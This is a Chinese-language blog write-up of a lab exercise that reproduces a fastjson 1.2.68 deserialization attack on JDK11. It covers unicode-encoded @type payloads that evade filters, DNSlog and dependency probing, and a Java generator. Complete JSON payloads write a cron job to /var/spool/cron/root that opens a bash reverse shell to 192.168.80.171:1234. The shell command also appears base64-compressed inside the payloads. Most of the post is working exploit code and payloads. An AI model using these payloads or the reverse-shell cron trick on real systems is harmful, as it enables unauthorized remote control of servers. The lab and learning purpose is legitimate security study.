banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjson 1268 jkd11 writefile

参考:https://github.com/lemono0/FastJsonPart

主打一个过程复现,理解漏洞利用流程,网上很多大佬的文章,文章写的很好,但作为基础学习还是不够(特别是用 idea 编译 java 文件,如何解决依赖等基础问题,-__-|.),所以就把自己复现过程的流程写下。

07-1268-jkd11-writefile#

抓包,删除括号,判断 fastjson 的版本

Pasted image 20250110152659

dnslog 探测 fastjson,发现被过滤了

Pasted image 20250110152818

@type 进行 unicode 编码

{
  "\u0040\u0074\u0079\u0070\u0065": "java.net.InetSocketAddress" {
    "address": ,
    "val": "1bdmkeljntnmdy5h5nf3h571tszjn9by.oastify.com"
  }
}

Pasted image 20250110152949

接受到 dnslog 请求

Pasted image 20250110153021

探测版本

{
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"

Pasted image 20250110153123

探测依赖

{
"x": {
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "java.net.http.HttpClient"
	}
}

Pasted image 20250110153346

返回 can not cast to char 代表存在 java.net.http.HttpClient,即为 JDK11。

org.springframework.web.bind.annotation.RequestMapping 是 SpringBoot 特有的类,所以靶场环境是 SpringBoot 环境。

{
"x": {
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
	}
}

Pasted image 20250110153548

确定了使用的 JDK11,便可无限制写入文件。采用写入计划任务反弹 shell。

生成 exp 文件,jdk11.java

import com.alibaba.fastjson.JSON;  
  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.util.Arrays;  
import java.util.Base64;  
import java.util.zip.Deflater;  
  
public class jdk11 {  
  
    public static String gzcompress(String code) {  
        byte[] data = code.getBytes();  
        byte[] output = new byte[0];  
        Deflater compresser = new Deflater();  
        compresser.reset();  
        compresser.setInput(data);  
        compresser.finish();  
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);  
        try {  
            byte[] buf = new byte[1024];  
            while (!compresser.finished()) {  
                int i = compresser.deflate(buf);  
                bos.write(buf, 0, i);  
            }  
            output = bos.toByteArray();  
        } catch (Exception e) {  
            output = data;  
            e.printStackTrace();  
        } finally {  
            try {  
                bos.close();  
            } catch (IOException e) {  
                e.printStackTrace();  
            }  
        }  
        compresser.end();  
        System.out.println(Arrays.toString(output));  
        return Base64.getEncoder().encodeToString(output);  
    }  
  
    public static void main(String[] args) throws Exception {  
        String code = gzcompress("* * * * *  bash -i >& /dev/tcp/192.168.80.171/1234 0>&1 \n");  
        //<=1.2.68 and JDK11  
        String payload = "{\r\n"  
                + "    \"@type\":\"java.lang.AutoCloseable\",\r\n"  
                + "    \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"  
                + "    \"out\":\r\n"  
                + "    {\r\n"  
                + "        \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"  
                + "        \"out\":\r\n"  
                + "        {\r\n"  
                + "           \"@type\":\"java.io.FileOutputStream\",\r\n"  
                + "           \"file\":\"/var/spool/cron/root\",\r\n"  
                + "           \"append\":false\r\n"  
                + "        },\r\n"  
                + "        \"infl\":\r\n"  
                + "        {\r\n"  
                + "            \"input\":\r\n"  
                + "            {\r\n"  
                + "                \"array\":\"" + code + "\",\r\n"  
                + "                \"limit\":1999\r\n"  
                + "            }\r\n"  
                + "        },\r\n"  
                + "        \"bufLen\":1048576\r\n"  
                + "    },\r\n"  
                + "    \"protocolVersion\":1\r\n"  
                + "}\r\n"  
                + "";  
  
        System.out.println(payload);  
        JSON.parseObject(payload);  
    }  
}

生成 payload

Pasted image 20250110160412

注意:

在写入计划任务时,有几个需要注意的点:

  • linux 本身系统限制,首先 centos 和 ubuntu 系列是不同的,写入文件位置、命令方式均有区别,这里因为是 centos 系统,所以写入到 /var/spool/cron/root 文件下,而 ubuntu 系统则应该写入到 /etc/crontab 系统级计划任务下,而不是 /var/spool/cron/crontabs/root 文件下,因为该方式将会涉及到改权限、计划任务服务重启的操作。

  • 通过这种文件写入漏洞写入计划任务时,需要在命令的后面加上换行操作,保证该命令为完整的一行,否则不会反弹成功。

{
    "\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
    "\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
           "file":"/var/spool/cron/root",
           "append":false
        },
        "infl":
        {
            "input":
            {
                "array":"eJzTUtCCQoWkxOIMBd1MBTs1Bf2U1DL9kuQCfUNLIz1DMws9CwM9Q3NDfUMjYxMFAzs1QwUuAHKnDGw=",
                "limit":1999
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

Pasted image 20250110160150

需要在 limit 处写入文件内真实数据的长度,这个长度会因为一些处理导致并不是我们写入计划任务命令的长度,这里方法同样是利用到报错,先将 limit 值尽量设置较大,fastjson 会因为偏移位置不对爆出正确的数据偏移,即这里的 59,所以 59 才是真实的数据长度。

{
    "\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
    "\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
           "file":"/var/spool/cron/root",
           "append":false
        },
        "infl":
        {
            "input":
            {
                "array":"H4sIAAAAAAAAANNS0IJChaTE4gwF3UwFOzUF/ZTUMv2S5AJ9Q0sjPUMzCz0LAz1Dc0N9QyNjEwUDOzVDBS4AGWjIeTkAAAA=",
                "limit":59
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

Pasted image 20250110160237

反弹会 shell

Pasted image 20250110160547

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。